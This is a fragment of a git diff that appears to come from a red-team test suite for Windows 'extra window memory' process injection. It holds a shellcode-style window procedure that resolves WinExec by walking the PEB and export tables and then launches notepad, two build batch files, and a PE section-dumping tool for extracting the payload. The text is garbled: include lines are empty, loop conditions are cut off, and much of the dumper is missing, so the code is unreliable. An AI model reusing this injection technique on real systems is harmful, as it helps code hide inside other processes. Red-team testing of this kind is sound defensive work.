"ntlib/nttpp.h" + +#include +#include +#include +#include +#include + +typedef UINT (WINAPI *WinExec_t)( + _In_ LPCSTR lpCmdLine, _In_ UINT uCmdShow); + +LPVOID xGetProcAddress(LPVOID pszAPI); +int xstrcmp(char*,char*); + +// Extra Window Bytes +LRESULT CALLBACK WndProc(HWND hWnd, UINT uMsg, + WPARAM wParam, LPARAM lParam) +{ + WinExec_t pWinExec; + DWORD szWinExec[2], + szNotepad[2]; + + // now call WinExec to start notepad + szWinExec[0] = *(DWORD*)"WinE"; + szWinExec[1] = *(DWORD*)"xec\0"; + + szNotepad[0] = *(DWORD*)"note"; + szNotepad[1] = *(DWORD*)"pad\0"; + + pWinExec = (WinExec_t)xGetProcAddress(szWinExec); + + if(pWinExec != NULL) { + pWinExec((LPSTR)szNotepad, SW_SHOW); + } + + return 0; +} + +#define RVA2VA(type, base, rva) (type)((ULONG_PTR) base + rva) + +// locate address of API in export table +LPVOID FindExport(LPVOID base, PCHAR pszAPI){ + PIMAGE_DOS_HEADER dos; + PIMAGE_NT_HEADERS nt; + DWORD cnt, rva, dll_h; + PIMAGE_DATA_DIRECTORY dir; + PIMAGE_EXPORT_DIRECTORY exp; + PDWORD adr; + PDWORD sym; + PWORD ord; + PCHAR api, dll; + LPVOID api_adr=NULL; + + dos = (PIMAGE_DOS_HEADER)base; + nt = RVA2VA(PIMAGE_NT_HEADERS, base, dos->e_lfanew); + dir = (PIMAGE_DATA_DIRECTORY)nt->OptionalHeader.DataDirectory; + rva = dir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + + // if no export table, return NULL + if (rva==0) return NULL; + + exp = (PIMAGE_EXPORT_DIRECTORY) RVA2VA(ULONG_PTR, base, rva); + cnt = exp->NumberOfNames; + + // if no api names, return NULL + if (cnt==0) return NULL; + + adr = RVA2VA(PDWORD,base, exp->AddressOfFunctions); + sym = RVA2VA(PDWORD,base, exp->AddressOfNames); + ord = RVA2VA(PWORD, base, exp->AddressOfNameOrdinals); + dll = RVA2VA(PCHAR, base, exp->Name); + + do { + // calculate hash of api string + api = RVA2VA(PCHAR, base, sym[cnt-1]); + // add to DLL hash and compare + if (!xstrcmp(pszAPI, api)){ + // return address of function + api_adr = RVA2VA(LPVOID, base, adr[ord[cnt-1]]); + return api_adr; + } + } while (--cnt && api_adr==0); + return api_adr; +} + +#ifndef _MSC_VER +#ifdef __i386__ +/* for x86 only */ +unsigned long __readfsdword(unsigned long Offset) +{ + unsigned long ret; + __asm__ volatile ("movl %%fs:%1,%0" + : "=r" (ret) ,"=m" ((*(volatile long *) Offset))); + return ret; +} +#else +/* for __x86_64 only */ +unsigned __int64 __readgsqword(unsigned long Offset) +{ + void *ret; + __asm__ volatile ("movq %%gs:%1,%0" + : "=r" (ret) ,"=m" ((*(volatile long *) (unsigned __int64) Offset))); + return (unsigned __int64) ret; +} +#endif +#endif + +// search all modules in the PEB for API +LPVOID xGetProcAddress(LPVOID pszAPI) { + PPEB peb; + PPEB_LDR_DATA ldr; + PLDR_DATA_TABLE_ENTRY dte; + LPVOID api_adr=NULL; + + #if defined(_WIN64) + peb = (PPEB) __readgsqword(0x60); + #else + peb = (PPEB) __readfsdword(0x30); + #endif + + ldr = (PPEB_LDR_DATA)peb->Ldr; + + // for each DLL loaded + for (dte=(PLDR_DATA_TABLE_ENTRY)ldr->InLoadOrderModuleList.Flink; + dte->DllBase != NULL && api_adr == NULL; + dte=(PLDR_DATA_TABLE_ENTRY)dte->InLoadOrderLinks.Flink) + { + // search the export table for api + api_adr=FindExport(dte->DllBase, (PCHAR)pszAPI); + } + return api_adr; +} + +// same as strcmp +int xstrcmp(char *s1, char *s2){ + while(*s1 && (*s1==*s2))s1++,s2++; + return (int)*(unsigned char*)s1 - *(unsigned char*)s2; +} diff --git a/atomics/T1055.011/src/vsdevcmd_x64.bat b/atomics/T1055.011/src/vsdevcmd_x64.bat new file mode 100644 index 0000000000..abc6a8ba89 --- /dev/null +++ b/atomics/T1055.011/src/vsdevcmd_x64.bat @@ -0,0 +1,2 @@ +@echo off +cmd.exe /k "C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Common7\Tools\VsDevCmd.bat" -startdir=none -arch=x64 -host_arch=x64 \ No newline at end of file diff --git a/atomics/T1055.011/src/vsdevcmd_x86.bat b/atomics/T1055.011/src/vsdevcmd_x86.bat new file mode 100644 index 0000000000..b54101d936 --- /dev/null +++ b/atomics/T1055.011/src/vsdevcmd_x86.bat @@ -0,0 +1,2 @@ +@echo off +cmd.exe /k "C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Common7\Tools\VsDevCmd.bat" -startdir=none -arch=x86 -host_arch=x86 \ No newline at end of file diff --git a/atomics/T1055.011/src/xbin.cpp b/atomics/T1055.011/src/xbin.cpp new file mode 100644 index 0000000000..755af80f38 --- /dev/null +++ b/atomics/T1055.011/src/xbin.cpp @@ -0,0 +1,269 @@ +/** + Copyright © 2016 Odzhan. All Rights Reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions are + met: + + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + 3. The name of the author may not be used to endorse or promote products + derived from this software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR + IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, + INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + POSSIBILITY OF SUCH DAMAGE. */ + +#include +#include +#include +#include + +#include + +#pragma comment (lib, "user32.lib") + +PBYTE img=NULL; +ULONGLONG img_base; +HANDLE hFile, hMap; +LPBYTE lpAddress; +DWORD cpu_arch, flags; + +// return pointer to DOS header +PIMAGE_DOS_HEADER DosHdr (void) { + return (PIMAGE_DOS_HEADER)lpAddress; +} + +// return pointer to NT header +PIMAGE_NT_HEADERS NtHdr (void) { + return (PIMAGE_NT_HEADERS) (lpAddress + DosHdr()->e_lfanew); +} + +// return pointer to File header +PIMAGE_FILE_HEADER FileHdr (void) { + return &NtHdr()->FileHeader; +} + +// determines CPU architecture of binary +BOOL is32 (void) { + return FileHdr()->Machine==IMAGE_FILE_MACHINE_I386; +} + +// determines CPU architecture of binary +BOOL is64 (void) { + return FileHdr()->Machine==IMAGE_FILE_MACHINE_AMD64; +} + +// return pointer to Optional header +LPVOID OptHdr (void) { + return (LPVOID)&NtHdr()->OptionalHeader; +} + +// return pointer to first section header +PIMAGE_SECTION_HEADER SecHdr (void) +{ + PIMAGE_NT_HEADERS nt=NtHdr(); + + return (PIMAGE_SECTION_HEADER)((LPBYTE)&nt->OptionalHeader + + nt->FileHeader.SizeOfOptionalHeader); +} + +DWORD DirSize (void) +{ + if (is32()) { + return ((PIMAGE_OPTIONAL_HEADER32)OptHdr())->NumberOfRvaAndSizes; + } else { + return ((PIMAGE_OPTIONAL_HEADER64)OptHdr())->NumberOfRvaAndSizes; + } +} + +DWORD SecSize (void) +{ + return NtHdr()->FileHeader.NumberOfSections; +} + +PIMAGE_DATA_DIRECTORY Dirs (void) +{ + if (is32()) { + return ((PIMAGE_OPTIONAL_HEADER32)OptHdr())->DataDirectory; + } else { + return ((PIMAGE_OPTIONAL_HEADER64)OptHdr())->DataDirectory; + } +} + +ULONGLONG ImgBase (void) +{ + if (is32()) { + return ((PIMAGE_OPTIONAL_HEADER32)OptHdr())->ImageBase; + } else { + return ((PIMAGE_OPTIONAL_HEADER64)OptHdr())->ImageBase; + } +} + +// valid dos header? +int valid_dos_hdr (void) +{ + PIMAGE_DOS_HEADER dos=DosHdr(); + if (dos->e_magic!=IMAGE_DOS_SIGNATURE) return 0; + return (dos->e_lfanew != 0); +} + +// valid nt headers +int valid_nt_hdr (void) +{ + return NtHdr()->Signature==IMAGE_NT_SIGNATURE; +} + +int isObj (void) { + PIMAGE_DOS_HEADER dos=DosHdr(); + + return ((dos->e_magic==IMAGE_FILE_MACHINE_AMD64 || + dos->e_magic==IMAGE_FILE_MACHINE_I386) && + dos->e_sp==0); +} + +DWORD rva2ofs (DWORD rva) { + int i; + + PIMAGE_SECTION_HEADER sec=SecHdr(); + + for (i=0; i= sec[i].VirtualAddress && rva < sec[i].VirtualAddress + sec[i].SizeOfRawData) + return sec[i].PointerToRawData + (rva - sec[i].VirtualAddress); + } + return -1; +} + +void bin2file (char name[], BYTE bin[], DWORD len) +{ + char fname[MAX_PATH]; + + wsprintf (name, "%s%i.bin", name, is32() ? 32 : 64); + + FILE *out=fopen (name, "wb"); + if (out!=NULL) + { + fwrite (bin, 1, len, out); + fclose (out); + } +} + +void dump_section (char fname[], char section[]) +{ + DWORD i, ofs; + PIMAGE_SECTION_HEADER sec=SecHdr(); + PBYTE pRawData; + + for (i=0; i
\n"); + return 0; + } + if (open_img(argv[1])) { + if (isObj()) { + printf ("\n[ Looks like an object file"); + } else { + dump_img (argv[1], argv[2]); + } + } + close_img(); + return 0; +} \ No newline at end of file